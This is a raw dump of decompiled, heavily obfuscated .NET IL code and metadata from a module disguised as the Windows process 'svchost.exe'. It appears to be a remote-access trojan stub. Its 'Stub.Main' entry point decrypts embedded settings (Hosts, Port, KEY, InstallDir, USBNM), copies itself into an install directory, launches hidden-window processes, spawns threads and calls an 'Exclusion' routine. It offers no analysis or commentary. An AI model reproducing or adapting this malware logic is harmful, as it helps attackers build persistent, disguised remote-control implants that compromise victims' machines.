ldloc.s V_13
ldc.i4.0 <null>
ldc.i4 -830919920
ldc.i4 -1151935049
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_431e3ba207164089aa7901503c8f9196
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
stelem.ref <null>
ldloc.s V_13
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldsfld ObBSKyHvU4WuGO1m1Oa ObBSKyHvU4WuGO1m1Oa::VaCHQeKQXd
call System.String ObBSKyHvU4WuGO1m1Oa::xZ9Xnyn2eH(System.String,ObBSKyHvU4WuGO1m1Oa)
stelem.ref <null>
ldloc.s V_13
ldc.i4.2 <null>
ldc.i4 -146499275
ldc.i4 -112577482
add <null>
ldc.i4 -495944183
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_48fc0e3d2f1045eebda11602c405c0a7
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
stelem.ref <null>
ldloc.s V_13
ldc.i4.3 <null>
ldloc.s V_17
stelem.ref <null>
ldloc.s V_13
ldc.i4.4 <null>
ldc.i4 -758686241
ldc.i4 -619454025
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_0b195c64432247deb96ea38d739b4747
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
stelem.ref <null>
ldloc.s V_13
ldsfld vm8fZAH9oSU2I1207KI vm8fZAH9oSU2I1207KI::wSVHnsELvD
call System.String vm8fZAH9oSU2I1207KI::xZ9Xnyn2eH(System.String[],vm8fZAH9oSU2I1207KI)
ldsfld dDOfjXHLiwOhHnGsETp dDOfjXHLiwOhHnGsETp::futHdHSav3
call System.Void dDOfjXHLiwOhHnGsETp::xZ9Xnyn2eH(System.Object,System.String,dDOfjXHLiwOhHnGsETp)
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_915835602374416d9c01f2036c561824
brtrue IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
pop <null>
ldc.i4 4
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
ldloc.s V_14
ldsfld y7Rnk2HlR4ZaIw7br64 y7Rnk2HlR4ZaIw7br64::haAHXJYc5L
call System.Void y7Rnk2HlR4ZaIw7br64::xZ9Xnyn2eH(System.Object,y7Rnk2HlR4ZaIw7br64)
ldc.i4 8
stloc V_0
br IL_05E4: ldloc V_0
br IL_0704: ldloc.s V_8
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_e5d0b7ab14c348f89e2daa40872dece4
brfalse IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
pop <null>
ldc.i4 1
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
ldloc.s V_8
ldc.i4.1 <null>
ldsfld bPuES4XzDykOPut5OH4 bPuES4XzDykOPut5OH4::IS6HNqhZDE
call System.Void bPuES4XzDykOPut5OH4::xZ9Xnyn2eH(System.Object,System.Diagnostics.ProcessWindowStyle,bPuES4XzDykOPut5OH4)
ldc.i4 2
br IL_05E8: switch(IL_0704,IL_0643,IL_0616,IL_0731,IL_0806,IL_0634,IL_082A,IL_07EC,IL_0841)
leave IL_02F1: call System.Void aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::nUwK0Lq7sD()
dup <null>
ldsfld MkjJMKXGT2kraUq32VC MkjJMKXGT2kraUq32VC::gIJXcRhRYw
call System.Void MkjJMKXGT2kraUq32VC::xZ9Xnyn2eH(System.Exception,MkjJMKXGT2kraUq32VC)
stloc.s V_12
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_46bda5a28d3c4ae898d8b974b7e5c526
brfalse IL_0876: switch(IL_08B1,IL_0888)
pop <null>
ldc.i4 1
br IL_0876: switch(IL_08B1,IL_0888)
ldloc V_5
switch dnlib.DotNet.Emit.Instruction[]
br IL_08B1: leave IL_02F1
ldsfld zhZt1rXMXPQipS5N65H zhZt1rXMXPQipS5N65H::rsDXVVLsVZ
call System.Void zhZt1rXMXPQipS5N65H::xZ9Xnyn2eH(zhZt1rXMXPQipS5N65H)
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_93ba8c6adeec41749dfa57ee403394e8
brtrue IL_0876: switch(IL_08B1,IL_0888)
pop <null>
ldc.i4 0
br IL_0876: switch(IL_08B1,IL_0888)
leave IL_02F1: call System.Void aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::nUwK0Lq7sD()
ldc.i4 2
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_32aff03f58fd4b32ab16b90ba3ce20d3
brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 3
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
ldsfld dKUMY0HHHXpGLNPyNYc dKUMY0HHHXpGLNPyNYc::B7QH7t2s9O
call System.Void dKUMY0HHHXpGLNPyNYc::xZ9Xnyn2eH(System.Object,dKUMY0HHHXpGLNPyNYc)
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_a2c6c08eb7574184935e223cb1287b5d
brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 0
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_1
ldc.i4 2
stloc V_16
br IL_0015: ldloc V_16
call System.Void KbKRAxvsogQsaUeKqUF.A6gx6dvfJql0smO2B5d::kLjw4iIsCLsZtxc4lksN0j()
ldc.i4 16
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldloc.s V_2
ldsfld OJFEOoHamXYX7td0S3p OJFEOoHamXYX7td0S3p::KtCHuSKKUR
call System.Void OJFEOoHamXYX7td0S3p::xZ9Xnyn2eH(System.Object,OJFEOoHamXYX7td0S3p)
ldc.i4 11
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_2
ldc.i4 10
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_2094e23594db47de96097844ae2ddb61
brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 8
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldloc.s V_1
ldsfld dKUMY0HHHXpGLNPyNYc dKUMY0HHHXpGLNPyNYc::B7QH7t2s9O
call System.Void dKUMY0HHHXpGLNPyNYc::xZ9Xnyn2eH(System.Object,dKUMY0HHHXpGLNPyNYc)
ldc.i4 8
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_0332813b65b0498d88025656d114c5be
brtrue IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 1
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
call System.Boolean aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::wBLKFXNEud()
brfalse IL_0577: ldc.i4.0
ldc.i4 14
stloc V_16
br IL_0015: ldloc V_16
Module Name
svchost.exe
Full Name
svchost.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
svchost.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
svchost
Assembly Version
10.0.26100.4343
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
47
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
553
Main IL 
br.s IL_0007: ldc.i4 17
call <null>
ldc.i4 17
stloc V_16
br IL_0015: ldloc V_16
ldloc V_16
switch dnlib.DotNet.Emit.Instruction[]
br IL_093F: ldloc.s V_2
nop <null>
ldloc.s V_17
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldsfld bDX0MAXYvw2igUU0YW9 bDX0MAXYvw2igUU0YW9::NulXCAhw0K
call System.IO.DirectoryInfo bDX0MAXYvw2igUU0YW9::xZ9Xnyn2eH(System.Object,bDX0MAXYvw2igUU0YW9)
ldsfld Lbt5sZXfmW3L15sThof Lbt5sZXfmW3L15sThof::rk9XsIbM0H
call System.String Lbt5sZXfmW3L15sThof::xZ9Xnyn2eH(System.Object,Lbt5sZXfmW3L15sThof)
stloc.s V_4
ldc.i4 5
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldloc V_9
switch dnlib.DotNet.Emit.Instruction[]
br IL_0114: ldc.i4 1000
br IL_01B4: ldloc.s V_17
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_b85f4fbca6964783a2748e1ab4b64e85
brtrue IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
pop <null>
ldc.i4 0
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldloc.s V_11
ldsfld HTBvgoXeuIgHAFfv0XO HTBvgoXeuIgHAFfv0XO::MmwXgV6hRO
call System.Void HTBvgoXeuIgHAFfv0XO::xZ9Xnyn2eH(System.Object,HTBvgoXeuIgHAFfv0XO)
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_f5ff1992e3f84f769351025df75f9a1c
brfalse IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
pop <null>
ldc.i4 0
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldc.i4 1000
ldsfld e9X8cCX2P2lWcdWHot7 e9X8cCX2P2lWcdWHot7::gv9XU9kgp0
call System.Void e9X8cCX2P2lWcdWHot7::xZ9Xnyn2eH(System.Int32,e9X8cCX2P2lWcdWHot7)
ldc.i4 4
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_93ba8c6adeec41749dfa57ee403394e8
brfalse IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
pop <null>
ldc.i4 7
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldloc.s V_4
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
ldsfld URRxqLX6429FEw9eAwy URRxqLX6429FEw9eAwy::zCFXIjgWBX
call System.IO.DirectoryInfo URRxqLX6429FEw9eAwy::xZ9Xnyn2eH(System.String,URRxqLX6429FEw9eAwy)
pop <null>
ldc.i4 3
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4c72b42d16314c0592b0632588b25cdc
brfalse IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
pop <null>
ldc.i4 1
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldloc.s V_17
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_11
ldc.i4 2
stloc V_9
br IL_0093: ldloc V_9
ldloc.s V_4
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
ldsfld HtMPaCXZstxwWhvwuOT HtMPaCXZstxwWhvwuOT::rBpXRvYhg7
call System.Boolean HtMPaCXZstxwWhvwuOT::xZ9Xnyn2eH(System.String,HtMPaCXZstxwWhvwuOT)
brfalse IL_0142: ldloc.s V_4
ldc.i4 8
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldloc.s V_17
ldsfld zSeWCXX1MDoXySrt5nX zSeWCXX1MDoXySrt5nX::eUGX5l4ZBn
call System.Boolean zSeWCXX1MDoXySrt5nX::xZ9Xnyn2eH(System.String,zSeWCXX1MDoXySrt5nX)
brfalse IL_0114: ldc.i4 1000
ldc.i4 6
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
ldloc.s V_17
ldsfld System.Object aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::njxKBOPeC6
ldsfld NaETWMXShAewxOfDjTS NaETWMXShAewxOfDjTS::YctXDYMDZW
call System.Byte[] NaETWMXShAewxOfDjTS::xZ9Xnyn2eH(System.String,NaETWMXShAewxOfDjTS)
ldsfld QHRFRfXmxdSILqtpnry QHRFRfXmxdSILqtpnry::zitXErOVnp
call System.Void QHRFRfXmxdSILqtpnry::xZ9Xnyn2eH(System.String,System.Byte[],QHRFRfXmxdSILqtpnry)
ldc.i4 4
br IL_0097: switch(IL_0114,IL_0142,IL_00E9,IL_01B4,IL_01F4,IL_018F,IL_0178,IL_01CF,IL_00C5)
leave IL_05B8: ldc.i4 1515351469
dup <null>
ldsfld MkjJMKXGT2kraUq32VC MkjJMKXGT2kraUq32VC::gIJXcRhRYw
call System.Void MkjJMKXGT2kraUq32VC::xZ9Xnyn2eH(System.Exception,MkjJMKXGT2kraUq32VC)
stloc.s V_6
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_32aff03f58fd4b32ab16b90ba3ce20d3
brfalse IL_0229: switch(IL_0264,IL_023B)
pop <null>
ldc.i4 1
br IL_0229: switch(IL_0264,IL_023B)
ldloc V_15
switch dnlib.DotNet.Emit.Instruction[]
br IL_0264: leave IL_05B8
ldsfld zhZt1rXMXPQipS5N65H zhZt1rXMXPQipS5N65H::rsDXVVLsVZ
call System.Void zhZt1rXMXPQipS5N65H::xZ9Xnyn2eH(zhZt1rXMXPQipS5N65H)
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_b85f4fbca6964783a2748e1ab4b64e85
brtrue IL_0229: switch(IL_0264,IL_023B)
pop <null>
ldc.i4 0
br IL_0229: switch(IL_0264,IL_023B)
leave IL_05B8: ldc.i4 1515351469
ldc.i4 4
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldsfld System.String Settings::InstallDir
ldc.i4 1757912505
ldc.i4 52242211
xor <null>
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_e396f081bf914ecba83adfbae46920ce
xor <null>
call System.String xb2vVZK1vDkpZtR1ETE.qyL1a0KIHNHWtI5YolD::CEX3XGqcR2(System.Int32)
ldsfld System.String Settings::InstallStr
ldsfld JHw8FKXAN9TDbEEJrm7 JHw8FKXAN9TDbEEJrm7::JGjXTVVSxT
call System.String JHw8FKXAN9TDbEEJrm7::xZ9Xnyn2eH(System.String,System.String,System.String,JHw8FKXAN9TDbEEJrm7)
stloc.s V_17
ldc.i4 15
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldsfld e9X8cCX2P2lWcdWHot7 e9X8cCX2P2lWcdWHot7::gv9XU9kgp0
call System.Void e9X8cCX2P2lWcdWHot7::xZ9Xnyn2eH(System.Int32,e9X8cCX2P2lWcdWHot7)
ldc.i4 9
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4c72b42d16314c0592b0632588b25cdc
brfalse IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
pop <null>
ldc.i4 1
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
br IL_0568: call System.Void Stub.Main::Exclusion()
ldc.i4 6
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
call System.Void aeHVn6KdJ2qrOa2BAtR.IcGHCDKLkbIJOiFM5qp::nUwK0Lq7sD()
ldc.i4 7
br IL_0019: switch(IL_093F,IL_090F,IL_0955,IL_02F1,IL_05B7,IL_09B2,IL_0577,IL_08D5,IL_058C,IL_0300,IL_0987,IL_0567,IL_0273,IL_0568,IL_02E2,IL_006B,IL_02AE,IL_0930)
nop <null>
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::Hosts
ldc.i4 5
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldloc V_7
switch dnlib.DotNet.Emit.Instruction[]
br IL_046D: ldsfld System.String Settings::Groub
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::SPL
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_e3dfa73ffe164ab492fdd0f667bd3368
brtrue IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
pop <null>
ldc.i4 0
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
ldsfld qsl8wGXB2raAVlNWqvu qsl8wGXB2raAVlNWqvu::xASXktxQ9k
call System.String qsl8wGXB2raAVlNWqvu::xZ9Xnyn2eH(System.String,qsl8wGXB2raAVlNWqvu)
stsfld System.String Settings::InstallDir
ldc.i4 1
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_4349353f008a4839b1b4cb366be26255
brtrue IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
pop <null>
ldc.i4 1
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::USBNM
ldc.i4 0
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
ldfld System.Int32 <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_1846a924e3a844fdb2bf9a8c0a11b159
brtrue IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
pop <null>
ldc.i4 3
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::KEY
ldc.i4 4
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::Port
ldc.i4 2
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::InstallStr
ldc.i4 6
br IL_0328: switch(IL_046D,IL_044A,IL_0404,IL_038A,IL_0352,IL_0427,IL_04A5,IL_03CC)
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldsfld vY8rg5XWStTeZwdkJhU vY8rg5XWStTeZwdkJhU::ckHXxowntN
call System.String vY8rg5XWStTeZwdkJhU::xZ9Xnyn2eH(System.Object,vY8rg5XWStTeZwdkJhU)
stsfld System.String Settings::Groub
ldc.i4 7
ldsfld <Module>{f9e11811-d04f-46f6-901b-d77f315e846d} <Module>{f9e11811-d04f-46f6-901b-d77f315e846d}::m_8688f1f385a349de8d5e2378c1506b7c
